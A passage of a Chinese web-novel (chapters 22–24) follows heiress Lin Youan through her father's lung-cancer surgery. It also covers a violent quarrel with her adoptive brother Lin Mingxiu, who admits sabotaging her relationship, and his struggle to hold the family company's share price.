身体的反应最为诚实,冷汗直往外冒,忽然间小腹一阵剧痛,如被挖掘机碾过,她忍不住闷哼了声。 林鸣修瞥过来,只见她面色全无,病态地苍白。 “肚子疼?还有哪里不舒服?”他轻打方向盘,车停稳在路边,想伸手探她额头,终是忍住。 林柚安无力地躺在椅背上,“生理期……一阵一阵的,过会儿就好了。” 林鸣修往窗外望了望,下车走向路边一家便利店。 几分钟后,握着一个大号的咖啡纸杯大步回来,另一只手提了个牛皮纸袋。 上车后,柚安才发现那是一杯白开水。 只见林鸣修从袋里拿出包红糖,将包装纸拆开,红糖放入热水中用搅拌匙搅拌,每一个步骤都迅速而严谨。 那种一次性纸杯被他骨节分明的修长手指握着,俨然化学家手里的珍贵试剂。 最后他用手背试了试温度,将杯递给柚安。 柚安失笑,“红糖水没用,最多只起个安慰作用。” 说着便去找化妆包里的止痛药。 林鸣修问:“吃第几次了?” “两次,怎么了?”柚安不假思索。 在日本药妆店买的白色小颗粒,吃下去立竿见影,但是药效也出奇得短,就跟她和黎燃的“家家酒”一样。 “止痛药都有副作用,不是你这么个吃法。”林鸣修声音稍显严厉,朝她平伸出手,掌心朝上。 那动作有些不容置喙的意思,令柚安莫名发怵。 她睨着他,对峙数秒,终是将药盒拍在他手上,“啪”的一声,顺势捞过红糖水,喝了一口。 温度比常喝的热水还要更烫一些,但在可接受范围内,对于下腹已经凝成冰窖的柚安来说,刚刚好,她面色稍霁,仰头喝了第二口。 林鸣修将止痛药放在侧边储物栏,之后再次伸手。 “烟。” 柚安:? “家里以后都不能出现烟。” “我都是偷偷躲在天台……” “那也不行。”语气毫无商榷余地,罕见地强势。 柚安摸出烟盒,与打火机一并拍在他手上。 今天她有点怂,可能是接二连三的打击与痛经,让她攻击力全无。 林鸣修收起烟,从塑料袋里拿出一片暖宝宝递给柚安,牌子是小林制药。 柚安刚黑下脸,这会儿又觉得好笑,探头看那纸袋,“你还买了些什么?卫生巾有没有?” “需要吗?”林鸣修很认真地问。 经过货架的时候,确实也犹豫过,但料想她应该是不需要的。 先挑话的林柚安反倒红了脸。 “不用。”她眉间皱成川字。 暖宝宝拿在手里摇晃均匀,撩起外衣准备贴的时候,林鸣修背过了脸。 温度很快上来,腹部舒暖,犹如温泉流经冻结的河川,柚安长吁一口气,调低靠背,半眯起眼。 林鸣修目光掠过她均匀起伏的小腹,启动引擎,汇入车流。 天气预报说今晚有暴雨,此刻尚未落雨,天气却压抑地不像话,头顶一块蓄满了水的灰黑色海绵,沉甸甸向下压。 离家越近越是紧张,林柚安问:“是爸让你带我回去的吗?他不打算瞒着我了?” “手术这种事,一定会让你知道。” “后面的一切,也都会让我知道吗?”柚安心跳再度加快。 林鸣修默了默,“我知道的,你都会知道,我保证。” 两人赶在暴雨砸下前回到了夏山郡,柚安下车便往屋里跑,管家举伞追在后面,企图为她遮住零星几点前奏。 大门打开的同时,她大喊了一声“爸”,一抬眼,喊声戛然断在半路,只见前厅满满是人,大伯一家整整齐齐都在—— 一对夫妻与三个儿子,带着堆成山的昂贵慰问品。 林柚安浑身的血液僵住,熟悉的气息逼近,料想是林鸣修站在身后。 目光飞快逡巡一周,千万句问题堵在喉间,一句千回百转的“爸”结束,语气已由担忧转为轻轻的抱怨。 迎向林鹤堂严肃的目光,她改问道:“爸——这么急叫我回来什么事啊?我还准备晚上的营业呢。” 一屋子人仿佛被按了暂停键,凝滞的空气中,后方一道若有似无的气息传来,是林鸣修轻轻笑了一声。 大伯母陈静淑最先反应过来,她大步走来一把抱住柚安,“哎哟,你怎么还不知道怎么回事啊?” 柚安一脸懵懂。 尹晴与管家交代两句,招呼客人去餐厅用膳。 柚安同林鸣修与大伯一家人依次寒暄一番,准时入席。 “柚安你跟我坐,”陈静淑捉着柚安的手拍了拍,面色凝重,“你爸爸生病了。” “啊?”柚安慌张起来,看了看尹晴。 尹晴摇摇头,“不要一惊一乍,我们饭桌上说。” 柚安点点头,又看向林鹤堂,实打实的焦灼不安再次升了上来,不免红了眼眶,“爸——” 林鹤堂皱着眉头,“肺上长了个结节,割了就没事了。” 话说着,众人已来到餐厅,三个堂哥与林鸣修似乎很谈得来,自然而然坐到一起,柚安跟陈静淑坐,另一边是三个堂哥,大伯坐在陈静淑另一侧,再旁边是林鹤堂与尹晴。 柚安着急地询问尹晴:“那不是要开胸?怎么会这样?” 尹晴不紧不慢地:“微创手术,胸胁下开三个小孔,是很常见的手术。” 大堂哥林景琛为林鹤堂盛了一碗汤,“微创手术也得谨慎,要不要再跟专家商量商量?这个大小还是观察为主,可以不用立即切。” “多大?”柚安看向林鹤堂。 “五毫米。”林鹤堂说。 柚安用手指比划了下,倒吸一口凉气。 林鹤堂转向林景琛,“趁着它小,切了拉到,免得夜长梦多。” “那手术安排在哪家医院?”大伯问,“我给你介绍一个专家?” “还没定下来。”林鹤堂仿佛觉得好笑,“这么点小事,值得你们一个个大惊小怪的吗?” “哎哟,那怎么能是小事?”陈静淑说着,搛了一只鲍鱼到柚安碗里,“柚安要多吃点,看你瘦的,你爸手术,你得多照料呢,身体垮了怎么办?” 林景琛安慰她:“到时候有什么需要尽管开口。” 柚安夹在他一家人中间,见他们左右夹攻,冲自己而来,瞬间瘪了嘴,眼里含了一大包泪,“不是说小手术吗?伯母你吓我干嘛。” 林鹤堂觑她一眼,那意思好像在说,瞧你这上不了台面的样子。 柚安好似没看见,一双水汪汪的眼睛在众人脸上打转,叫人再问不出话来。 转到林鸣修脸上时,莫名觉得他一如既往平静无波的眼睛,隐隐带笑——藏在由上至下的平静注视中,很难察觉的,温柔的笑。 淡淡的戏谑,又带有抚恤。 大抵是因为,他在路上已巨细无遗地告诉过她手术安排,包括日期、医院、主刀医生…… 以及他见过她真正慌张的样子—— 她绝不会哭,反而会装作若无其事,满不在乎。 这一切使他成为了柚安饭桌上唯一的共谋。 晚饭吃完,两家人又寒暄一番,大伯一家便告辞了,陈静淑说要留下来陪尹晴,两人便去花房聊天。 林鸣修很快被林鹤堂叫到书房,柚安一直没有单独跟父亲说话的机会,母亲又被陈静淑霸占着,一肚子担心没有出口,在血液里乱串,索性一个人跑到泳池边看雨。 大雨如期而至,她坐在屋檐下,看雨势越来越强,如注般砸向泳池,水花四溅。 黎燃似乎完全冷静下来了,发来信息道歉,后悔意味浓厚,对分手这件事,却没有挽回。 最后他问,能不能不要给他盖上酒后乱性罪章?他以前从未做过这种事。 柚安回:当然不会。 被后来的事情一搅,现在竟不那么生气了。 但不免地,还是会想起那句话。 黎燃问她记不记得。 她当然记得。 飞鹅山的日出美得不似人间,黎燃将要吻她时,她借着三分醉意说:“你的嘴巴不像他。” 很混蛋的一句话,黎燃问不像谁,柚安混蛋地回答:“以前喜欢过的一个人,他不喜欢我。” 黎燃松开她,手枕着后脑勺向后躺倒,“其他地方像吗?” 柚安伸手,虚遮住他的嘴巴。 “有点,我分不清。” “你倒是坦荡。” “丑话要先说。” 柚安笑着低头看他,金光洒在他英俊的脸上,造物主偏爱的模样,没有人会不喜欢。 黎燃目光迎向她:“完蛋,我还是喜欢你,你随意。” 柚安看着他,一个吻落在他额头上,他们就这样开始了。 天作之合的恋人每时每刻腻在幸福里,阳光洒落在他们身上,色彩都比其他人要斑斓。 可是那句话,成了黎燃每次想要更近一步时的紧箍咒。 如今,也成了他的免罪金牌。 思绪淹没在暴烈的雨声中,像水草一般彼此纠结。 随着陈静淑的一句“柚安”,迅速回笼。 陈静淑是香奈儿的忠实爱好者,穿的便是这一季的新品,粉彩薄纱长裙搭配珍珠项链,婷婷袅袅。 她比大伯小二十多岁,模特出身,极重保养,是柚安的审美启蒙。 小时候尹晴经常闷在屋里,大伯一家成了常客,柚安跟陈静淑倾诉过的心事,比跟亲生母亲还多。 林鸣修正式住进来后,这一家来得就少了,其中矛盾柚安无暇探究,没过多久,她自己也走了。 这次回来,发现两家的关系有了微妙的变化—— 淡然,也许变化的,也许只是自己的心境跟认知而已。 少时,她没少在陈静淑跟前骂林鸣修,在这件事上,陈静淑总说她是柚安的盟友,不管林鹤堂与尹晴被蒙骗成什么样,她都会坚定地站在柚安一边,帮她揭出坏人的狐狸尾巴。 如今在饭局上装糊涂骗她,柚安倒是没有觉得叛变了盟友,倒向林鸣修一边。不管其他人瞒着父亲的病情,是出于什么样的考量,她只是单纯地,不想掺和进这件事而已。 很多事都是会变的,就像三位堂哥昔日看林鸣修的眼神还不如看一条狗,如今摇着尾巴的却是他们。 倒是林鸣修似乎没怎么变,言谈举止只在礼数之内,始终有种置身事外的淡漠与审视。 陈静淑拉着柚安聊了一会儿林鹤堂的病情,她始终扮作懵懂无知。 又像儿时那样,痛陈她不在家的这几年,林鸣修是如何一步一步骗取林鹤堂的信任,在四海翻云覆雨的。 柚安全程以语气词回应,偶尔骂两句,雷声大雨点小。 刚才吃饭的时候就在想,这些年在外漂泊,无头苍蝇一样在娱乐圈里乱撞,也非白白消耗生命,全无成长。 至少如今,同样的话里,她能听出诱导,能听出怂恿,情绪也不再容易被牵着走。 见要无功而返,陈静淑调转话题问道:“你最近跟黎燃是不是闹矛盾了?” 纵使满身的防备,也架不住连翻的疲劳攻击,柚安实在很累了,干脆说:“他呀,没在一起了。” “我就知道!”陈静淑紧了紧柚安的手。 那模样,像是知道什么天大的秘密。 也是,今天才发生的事,都还没来得及跟尹晴说,她却知道了,难道是黑了店里的监控? 柚安不由得惊奇。 陈静淑拿出手机翻了一阵,将屏幕转向柚安,“给你看样东西。” 第22章 “从今以后,你该叫我一…… 暴雨倾盆, 港城挂起三号风球,风末日似地刮。 风雨的呼啸声,被书房的落地窗隔绝在外,又隔了层密不透光的窗帘, 变成白噪音似地闷响。 林鸣修倾身坐在黑色皮革沙发里, 面前的茶几上摆着一局围棋, 黑白两子互困胶着, 犬牙交错, 如沙场鏖战。 左手对弈右手,一边拼杀互搏, 一边梳理思路,这是长久以来的习惯。 遇到棘手的事时, 棋局可以僵持一整晚。 就比如今天这样。 三小时前,他被叫到林鹤堂的书房“聊天”。 抢在正事以前, 林鸣修率先先开口, 告诉林鹤堂, 在来的路上, 已经将实情全部告知柚安。 林鹤堂始终不敢相信, 柚安在饭桌上的懵懂无知是演出来的。 “那丫头哪里像是有城府的人?”他哭笑不得。 林鸣修笑了笑,“再多两秒钟, 就要开始瞎演了。” 林鹤堂苦笑摇头, 涌起无限感怀。 她内心必定饱受煎熬。 接着, 他们谈起正事,林鹤堂对公司的安排早已明明白白,此刻一一跟林鸣修交代,大有交代后事的意思。 谈完,林鸣修问需不需要叫柚安过来。 对于柚安, 早在家族信托基金里安排地明明白白,留给她的保障比任何人都要多。 只是要面对面跟女儿交代一二,堪比要了老父亲的命。 林鹤堂想了又想,最终作罢。 “还不到那个时候。” 他坐在大理石桌前,与身后的油画肖相一样挺正威严,只是声音听上去些许苍老,说这句话时尤是,像喉咙深处发出的嗡响。 林鸣修微微颔首,转身离去。 两步之后,转过身来,“放心吧,柚安她比您想象的要聪明,强大得多。” 林鹤堂意外地一掀眼,“……嗯。” 回到自己的书房,大脑已经被数不尽的黑白子吞没。 遂拿出棋盘,开始排兵布阵,试图将这一切一一理清。 林鹤堂最大的决定是,如术后身体情况恶化,无法再担任决策工作,命林鸣修暂代CEO一职,如他去世,林鸣修继承他在四海的全部股份和席位,直任四海寰宇掌门人。 各种文书公证皆已做好,这些年,也培养了一批忠心跟随林鸣修的高管。此举必遭其他阵营反对,但狂风暴雨之下,他不至于孤立无援。 如今,最大的威胁来自于大伯林鹏海一家。 林鹏海现在虽在公司已无职务,但拥有不少股份,是董事会成员之一。 大儿子林景琛担任公司CFO,也是董事会成员。 董事会七席,林鹤堂占有一席,他们一家占有两席,其他四人皆是常居幕后的大佬,不直接参与公司事务,但是倘若林鹏海拉拢他们发起不信任投票,就连现任CEO都可以罢免,更别提林鸣修这个暂代者。 林鹏海其他两个儿子虽不在董事会,但也各自拥有3%的股份,与林鸣修相当。 二儿子林景昀负责项目开发中心。早些年,林鸣修公安大学还没毕业就空降到各个管培项目里,在林景昀和林景琛的手下都干过,吃过的暗亏,受过的潜在霸凌不计其数。 三儿子林景烁如今也进了公司,在金融投资中心任职,与林景昀所在的部门,都是公司的核心板块。 林鹤堂只有林柚安一个女儿,这点来说着实吃亏。 好在林柚安生来便拥有8%的股份。 所以她这一颗子,几方势力都虎视眈眈。 内部矛盾尚且如此,外部的风险也不容小觑。 林鹏海既已知道林鹤堂手术的事,消息就瞒不住了。今天是亲朋上门,明天恐怕就是媒体的围堵。如何应对媒体,平息舆论?如何保住股价?他这个暂代CEO如何取得信任?又如何对外做公关,安抚股民? 还有深圳分公司那边,绿色能源社区计划,已经在稳步进行中,如果他猝然撤回,不再主持大局,会不会造成那边员工和投资者的不信任?倘若项目中断,比造成股价下跌,董事会不满。 ——当然,这一切只是为不幸事件做不得已的打算。 但不幸的几率有多大? 最最不幸地,林鹤堂病情急剧恶化,甚至撒手人寰,这样的概率又有多大? 那个时候,柚安该怎么办? 无数种预案在棋盘上此消彼长,林鸣修紧绷着神经,犹如高速电路,超负荷运转。在这个问题浮现的刹那,一切骤然停顿,断电一般,世界陷入一片暗黑。 一切问题,他尚且可抗。 唯独这一个。 涉及柚安,他便乱了方寸。 视角从波谲云诡的商场,回到这个空荡的家里,她孤独的,小小的身影上,而他手里半个预案也没有,只有满心不舍。 “砰——”的一声,门被大力推开,他额间尚有冷汗,被推门而入的风吹出一身凉意。 抬眸,只见柚安冲到面前,一掌撑在棋盘上,将局面彻底毁坏,一手将手机屏幕怼到他面前,几乎歇斯底里地问:“这个怎么解释?” 照片上是一男一女在谈着什么,女人正是黎燃酒后乱性的女主角,而男人是林鸣修的手下之一,名叫Kim,他常跟随林鸣修左右,就连柚安也认得。 背景在一个会所包房,拍摄角度是从某一个缝隙偷拍,叫人不由得猜测是侍者偷拍,或是房间里的隐秘摄像头。 连他的一个助手都被跟踪至此,难怪林鹤堂的病情,在结果出来当天就被窥见风声。 不知道他们一家身边,还有多少双眼睛。 “伯母给你看的?”林鸣修慢条斯理地放下食指与中指间的黑棋,眸色平静而晦暗。 柚安不理会,直截了当地问:“你找的人,你给黎燃下的套?” 如果眼神会杀人,林鸣修早就尸骨无存了。 “是。”林鸣修直视她,眸色微变,泛着冷质的光。 柚安以为他会狡辩,连推翻他狡辩的话都想好了—— 哪有女人会在一夜情时拍下照片,第二天亲自送上门的?她意不在黎燃,就是存心想拆散他们。 可是,他就这么承认了,还用一副“你能拿我怎么样”的神情看着她,看得她怒不可遏,浑身都在发抖。 “你有病呀!黎燃拿你当兄弟,你这么对他?我又是怎么挡你的路了,这一点点的幸福,都要被毁掉?” 对于林鸣修此番的种种缘由,陈静淑已经在泳池边给她“分析”地明明白白—— 无非是心理变态,对她羡慕嫉妒,所以要夺走她拥有的一切,还要毁掉剩下的。 还有一种,便是贼心不死,要得到的是她的人。 伴随着凄风冷雨声,不论是哪一种猜测,都让林柚安心惊肉跳。 家里风雨飘摇,不在这个时候该闹,可是他都做了什么?! 柚安血冲到脑门,抬手一巴掌,林鸣修脸上立时出现五指掌印。 她气不过还想打,这次被他捉住手腕,叮呤当啷的金属手链随惯性一扫,在他眼下留下一条细小血痕。 他慢慢站起来,高大的身影逐渐将她侵没。 因为手腕被捉住,她不得已向后退,心跳如擂鼓。 从沙发被逼到门口,没有一丝挣脱的余地,双眼忍不住泛酸。 林鸣修这个时候伸出另一只手,柚安感觉快要窒息。 然而手臂只是越过她的肩头,关上了身后,被她推开一半的门。 锁舌闭合的一瞬间,柚安后背整个贴住了门板,被他攥红的手腕则被举过头顶,抵在门上,冰凉的触感袭来,灯光被身前的高大身影挡得严实。 初来投奔时,两人都正值发育,十六岁的林鸣修身高猛长,就算站在一众二三十岁操练勤恳的保镖团队里,也实属优越。 但他总是跟柚安保持一段距离,因此柚安虽知道他比自己高,但从未如此直观而彻底地感受到,什么叫身高体型差。 他的手轻易就将自己手腕整个圈住,再靠近一点点,身体也能将自己整个拢住。 她不由得,生理性地感到害怕。 “为什么?痴线咯,变态咯,难道我在你心里,是什么好人吗?”他皱着眉,一字一句地哑声说道。 就这么明晃晃地承认,无异于将他隐藏这么多年的狼子野心宣之于口,因为如今林鹤堂病重,是他收割的时候了吗? “顾鸣修!”柚安遍体生寒。 来自手腕的疼痛陡然加深,随着她的挣扎,钳制愈见加重。 林鸣修冷而低沉地说: “长幼有序,从今以后,你该叫我一声大哥。” 她感受到那双大手的力量,以及灼热地,几乎要烧起来的体温。 二十多年的生命中,头一次感到如此无能为力。 这样大的威压,竟是来自于那个一直叫她“大小姐”,当司机又当保镖的流浪狗。 泪水在眼眶中蓄满,再用力也忍不住了,终于不争气地落下来。 林鸣修见这情形,眸色微动,如同冰冷无波的潭面被风吹皱,然而刹那便过去了。 也许是因为距离太近,这几不可察的一刹居然被柚安捕捉到,成为加速她崩溃的催化剂。 复杂的情绪从五脏六腑漫上来。 不知道为何如此羞耻。 “你别看我!”她吼道,洪水般的眼泪涌出来。 腕上的束缚骤然松脱,林鸣修真的转过身去,往沙发处走。 “没出息啊,林柚安。”他轻笑着说。 就在弯腰挥掉沙发上散落的棋子,打算坐下时,柚安举着实木的围棋棋盘,当头砸了下来。 “大哥——” 咒骂的语气。 第23章 一圈浅浅的红痕尚未褪去 第二天天不亮, 林鹤堂和尹晴就离开了夏山郡。 没有人知道他们是什么时候走的。 神通广大的媒体挖出来,林鹤堂的私人飞机降落在了波士顿。 那里是麻省总医院坐落的地方,也是哈佛医学院的附属医院集中地,拥有世界顶级的医疗资源。 只是不知道林鹤堂具体去了哪一家机构。 要挖出他的病情, 这一点是关键。 陈静淑一觉醒来发现人已经走了, 急得焦头烂额。 主人走后, 整个夏山郡静得连穿堂而过的风声都那么清晰, 有种风雨欲来的既视感。 管家说少爷和小姐还在睡觉, 陈静淑虽又急又气,却不敢贸然打扰, 一个人在大厅来回踱步,过了很久, 终于等到林鸣修闲庭信步地下楼。 她迫不及待地问:“鹤堂跟阿晴怎么走得这样急?是鹤堂出了什么急症吗?” 林鸣修命管家准备早餐,而后礼貌地回答她:“爸不想应付媒体, 提早走了。” “那他去的哪家医院?昨天不是都还没定下来吗?” 沉默片刻, 林鸣修说:“暂时不可以透露, 抱歉。” “连我也不可以吗!” “很抱歉, 伯母吃完早饭再走?” 他微微欠身, 礼数周全,早餐布好, 仍笔直地站在桌边, 等待陈静淑先入座。 这样毕恭毕敬, 然而陈静淑却知道,从他嘴里,是什么也撬不出来的。 这时候柚安从电梯下来了,她穿着白色居家服,长裙, 领口一圈荷叶边,没有化妆,只简单地梳了头发,刘海有些过长了,隐约遮住眼睛,露出的半张脸由显得苍白。 再瞧她手腕处,一圈浅浅的红痕尚未褪去。 而林鸣修的眼下和额角分别贴了张创口贴。 两人打过照面,谁都没有说话,柚安眼皮耷拉着,看林鸣修时,一股深深的怨念。 昨晚,自从书房的门关上后,陈静淑就再也听不到动静。 现在看来,两人的关系算是彻底崩了。她想象得到,以柚安的性格,闹了多大一场,此刻心中暗自窃喜。 “柚安啊,你看你这样子,是一晚上气得没睡好吧?”陈静淑上前挽住她的手,斜眼瞧了瞧林鸣修,“你爸妈去医院了知道吗?怎么没带上你呢?” 柚安坐到桌前,拿起圆盘两边的刀叉,无神地看着盘里的餐蛋治,“不知道。”连惊讶的模样都懒得装了。 “……你也不知道他们去哪家医院了?”陈静淑听得出她的应敷衍,只好将矛头再次对准林鸣修,“你怎么连柚安也不告诉?这是不是太过分了,亲生父亲做手术这么大的事,做女儿的都不能知道吗?” 柚安头也不抬。 林鸣修淡声道:“会有专机接她过去的,伯母不用担心。” 柚安头也不抬,低头将面包切分成小块。 已然跟林鸣修闹翻,却还是油盐不进,一道屏障将自己置身事外。陈静淑发现,她变得甚是不好摆弄了。 “我怎么能不担心呢?”陈静淑坐下来,揽住她肩膀,“我最担心的就是柚安了,不如……” 一句“不如我陪你去”还没说出口,柚安猛一转脸看向她。 不带任何情绪,乌青的眼圈,大而空洞。 “大伯母,我长大了,可以不用再担心我了。” “……” 陈静淑像吃了个苍蝇,堵得喉咙想呕。 正纠结还要不要硬着头皮留下来陪柚安,林鸣修出了声:“外面已经有媒体蹲守了,我派人送伯母出去吧,再晚,恐怕车就不好出去了。” “啊,这个……” 陈静淑进退不是,整个人僵在那里。 漫长而焦灼的两分钟过后,司机进来说,车已备好。 明明没有看到林鸣修吩咐谁,两分钟前的提议,她也还没有答应,此刻司机就已经站在跟前了。看来他已俨然成为夏山郡的主人,都不用发号施令,就有人为他的一言一行奔走。 想到这里,陈静淑不由得打了个激灵。 “伯母。”林鸣修做了个请的手势,挂上一副礼数周全,却叫她不敢再多看一眼的微笑。 陈静淑彻底失去了力气,她拍了拍柚安的背,叫她照顾好自己。 柚安将一小块被黄油煎香的面包送进嘴里,说:“好。” 陈静淑肚子叫唤了一声,窘迫得很,转身快步走了。 林鸣修亲自将伯母送进车里,而后回到餐桌,吃自己那份早餐。 主位空悬,他仍坐惯常的边位。 柚安问他:“什么时候走?” 林鸣修说:“你吃完饭,先换身衣服,我去应付一下记者,然后就可以走了。” 柚安没有多的话,一口将西柚汁喝完,搁下刀叉上了楼。 两人心照不宣,对昨晚发生的事只字不提。 于林柚安而言,人也打了,泼也撒了,还能怎么样?于林鸣修而言,比起现在面临的情况,那事根本不值一提。 柚安换了身便于出行的衣服——牛仔裤加基础款白T,头发往后束成马尾,又收拾了几件贴身衣物,丢进一个运动背包里。 最后,把歪在床头的那个断腿木偶小心放进背包。 掂了掂包,忽想到什么,转身来到窗前。 从三楼卧室的窗户看出去,正好可以看到黑压压的记者,以及被长枪短炮包围的林鸣修。 他穿着黑色的休闲便服,背影修长挺立,从容有度,有种年轻领袖的威仪。 不一会儿,大概是应付完了,微鞠一躬,转身进屋。 大门外,不少人车散去,还是有少许人逗留,甚至树上还爬了几个。从这个高度看过去,各色的隐蔽姿势一览无余,而摄像头统统对准了这边的窗户。 柚安唰地将窗帘拉上,转身拎起运动背包下楼。 步入一楼正厅时,林鸣修正好从大门进来,他脚步未停,一句“走吧”,朝后院走去。 几分钟后,夏山郡的顶层,一辆直升飞机缓缓停落,一男一女在两名保镖的保护下坐上直升机,尾桨卷起烟尘,不到片刻,机身已消失在云端。 媒体这才渐次散去。 与此同时,一辆不起眼的小型黑色轿车从后院出发,悄然汇入下山的车流之中。 林鹤堂入住的,其实是本市的养和医院—— 一家保密性极好的私立医院,也称“富豪医院”。 这会儿,他应该正在进行手术前的各项前期检查。 诸如此类的安排,在昨天回家的路上,林鸣修就告诉了柚安。 陈静淑的煽动手段,他是从小领教到大的,林鸣修自己也没有想到,气到几经失去理智的情况下,柚安硬是咬到现在,一个字都没有松口。 不过一路上,柚安也没再跟他说过一句话,林鸣修有一瞬间觉得,她这辈子都不打算同他说话了。 半小时后,两人进入养和医院七楼的私人病房,与林鹤堂和尹晴汇合。 林鹤堂换上了病号服,已经禁食禁水,等待术前检验结果出来后,没有问题即可手术。 柚安坐在病床前,不敢去看他的脸,目光虚虚落在蓝白条纹的病号服上,强行挤出笑容说:“没事的,肯定是良性的,不信我们打赌。” “咳咳,嗯。”林鹤堂清了清喉咙。 场面有些尴尬,然而并没有尬住多久,因为很快,血液报告和超声检测报告就出来了。 其中,体现癌症指标的血清值都在正常范围内,但是“肺癌七种自身抗体检测”的结果中,抗-GBU4-5和抗-MAGE A1均超出了正常范围。 花白头发的主治医生面色凝重,“这两项结果……” “是鉴定肺结节良恶性的重要指标。”柚安兀自说道,耳边已听不到任何声音。 “林小姐说得对。”医生点头表示肯定,“好在头部MR和四肢超声检测没有问题,这意味着,癌细胞没有向头部和四肢转移。” 林鹤堂和尹晴对视了一眼,两人都很平静,似乎对这个结果早有准备。 再看柚安,她低头认真地看着报告,好像要将那些数字吃进去,深吸一口气,再深吸一口气……虽不算淡定从容,但跟昨天餐桌上那惶恐无措的模样相比,简直派若两人。 林鹤堂拍拍她的背,“没事的,你妈有点头疼,一会儿你看好她。” “……哦,好。” 林柚安强自镇定,仍不敢看父亲的脸。 这个节骨眼,谁也没空伤春悲秋。但分明有什么东西堵在胸腔,就快要爆炸了。 不久,又进行了术前的医患谈话,循例由主刀医生告知手术风险。林鹤堂不让其他人跟着,谈话结束后,他坦然签署了手术同意书,手术就正式开始了。 一切流程紧密相扣,不给任何人说任何一句感伤话的机会,很符合林鹤堂高效锋利的行事风格。 病人被推走后,病房顿时空了,柚安盯着惨白墙面上,指向七点的时钟,思绪一片空白。 手术预期四个小时,术中会取出一部分肿瘤标进行快速检测,确定良性还是恶性,以及对肿瘤标志物周边进行检测,确定肿瘤是否扩散。 柚安和尹晴在病房等待检测结果。尹晴眼部手术后,一紧张就会眼压上升,进而头疼,此刻吃了粒布洛芬,柚安让她干脆睡一觉,醒了人就出来了。尹晴说,哪里睡得着?但副作用上来,再紧张也熬不过,最终还是睡去了。 帮尹晴掖好被子,柚安缓步走到落地窗前,直直坐到靠窗的沙发上。 浑身的神经紧绷,仿佛轻微地动一下,都会产生什么变数。 时钟的秒针发出有序的“滴答”声,每一声都过分漫长,却又害怕最终的那个时间点到来,带来不好的消息。 手机在口袋里不时振动,频率越来越高,令人烦躁地不行,她拿出来一看,消息栏已被各路轰炸。 原来媒体收到消息,开始报道林鹤堂病重的新闻,甚至有内部人士透露,林鹤堂已于昨晚病逝。 消息一出,舆论沸腾,牵动几百亿股值。 不敢想象明日开盘,港股市场将会发生几级地震。 通讯录里,不论亲疏远近,也都发来了慰问,红色的数字没完没了。 随手上刷几页,血压就升了上来,不少人真的相信林鹤堂去世了,叫她节哀,还有不知道哪里来的“朋友”,问她遗产分配情况。 “BullShit!” 柚安死死握住手机,正欲摔出去,忽然想到什么,动作一顿,重新点亮屏幕。 手指悬停在通讯录上方,片刻之后,翻出了那个沉默的深蓝色海浪头像。 LYA:【去哪里了?新闻看了吗?】 林鸣修已经消失有一段时间了,林柚安下定决心把他当空气,但是如此兵荒马乱的时刻,不得不在意他的缺席。好像种种诸如此类的糟心时刻,已经习惯了他的在场。 不做指望地发去信息后,很快便收到了回复。 XU:【8103】 不知道为什么林鸣修的昵称是“XU”,看上去不像是英文名,他也不姓“许”……可能是汉语拼音没有学好。 看着这个言简意赅的房间号码,柚安有一瞬间觉得他回错了人。 此刻离手术开始只过去了半小时。 死等下去,只怕要被一分一秒熬死,柚安决定找过去看看。 私立医院的七楼肃静洁白,不见其他病患。 柚安沿着走廊走入电梯厅,乘电梯上至八楼。 这一楼是医院顶层,没有病房,只有会议室,办公室和几间小型演播室,用于学术会议和演讲。 沿墙上的指示标走到一条空寂的走廊,路上看不到一个人。 惨白的走廊尽头,是一间会议室,大门上挂着8103的门牌。 门没有关死,林柚安轻轻推开一条小缝,立即被人发现。数道锐利的目光从缝隙处投射出来,男男女女,精英打扮,令人想到聚在树梢观察猎物的秃鹫。 她心口一怵,下一秒,就看到站在最里边的林鸣修。 他侧身对着门,正抬手在白板上写着什么,视线越过两旁压迫感极强的正装人士,倏然撞见那道熟悉的,薄而修长的挺立侧影,不由得一颤。 林鸣修动作一顿,稍一颔首,离门最近的一位黑西服男士大步走来,将门打开,同时警惕地看了看门外。 “大小姐请。” ……原来他们知道自己身份。 却依然要经由林鸣修的点头,才肯收起防备。 第24章 亏他打仗的间隙,还惦记…… 林柚安步入, 门立刻被关上,方才那一线空隙,好像是特意为她留的。 两排长桌上摆满笔电、文件和传真机,线路四处游走, 医院的会议室, 被改造成临时作战室, 林柚安默默数了数, 一共八人, 大概都是林鹤堂,不, 是林鸣修信得过的高层。看上去,没有一个低于二十年工作经验, 更没有一个比林鸣修年轻,却都以他为权利中心。 林鸣修目送林柚安进来后, 便继续了会议, 并没有互相介绍的意思。 林柚安自觉走到墙边一排空座坐下。 场面犹如战场, 电脑屏幕上荧光闪烁, 曲线、数字不断攀升下降, 有人肩头夹着电话,不断向外传送指令, 收回消息, 有人盯着白板, 跟林鸣修讨论着什么。 大部分的术语林柚安都听不懂,但听得久了,大致能辨认出核心问题—— 如何稳住四海寰宇的股价。 这由划分为两个更具体的问题—— 对外如何作公关,稳住舆论。 以及对内如何让董事会安心,让林鸣修这个代理CEO得到他们的信任。 再具体的, 她试图去理解,但能力经验始终有限。 林鸣修站在中心位置,黑色衬衫的袖口挽至肘间,写白板时,另一只手习惯性插兜,讨论交锋时,神情肃冷而强势,尽管脸庞年轻,但比这些老手更像老手。 她从未见过他如此气场,利刃般的眼神,举手投足沉稳决断。 从他的眉宇间,居然能够想象出父亲年轻时,挥斥方遒的模样 。 就像说过的那样,他知道的,柚安都会知道,兵荒马乱中,他也一直在践行承诺,不由分说地将她拉至自己的阵营,和跟随自己征战南北的盟友同等地位。 林柚安不知不觉看得出神,他额头沁出的薄汗、两腮冒出的胡茬,以及脸上那两处创口贴…… 昨晚的暴怒化作数道说不清的复杂情绪,相互交织,纠缠不清。 就这样,时间又过去两个小时。 有人送来宵夜,数张九寸披萨铺满长桌,口味各异,高管们就着咖啡吃起披萨,气氛稍稍轻松了一些。 林鸣修这才看向林柚安,他走过来,低头注视她片刻,“吃点吗?” 一天下来不停地输出,此刻嗓音几分沉哑。 林柚安没答话,站起身,径直走出会议室。 沿着纵伸的走廊走回电梯厅,下至七楼病房,尹晴仍没有醒。 坐在床边不知等了多久,尹晴缓缓睁开眼睛。 “几点了,手术做完了吗?” 林柚安看了看时钟,四个小时已然过去。 “还没出来,可能要超时,常有的事,别担心。” 她起身给尹晴倒热水,尽量收起疲惫,“就算是恶性,现在也有很多靶向药可以选择,医生会根据基因检测结果,选择最适合爸的,治疗前景很乐观。” 尹晴捧着水杯喝了一口,眼中含笑,“我之前,还一直担心该怎么安慰你。” “您以为……” “我以为你会哭哭啼啼,或者又开始像先前那样不吃饭。” “妈……”柚安有点不高兴。 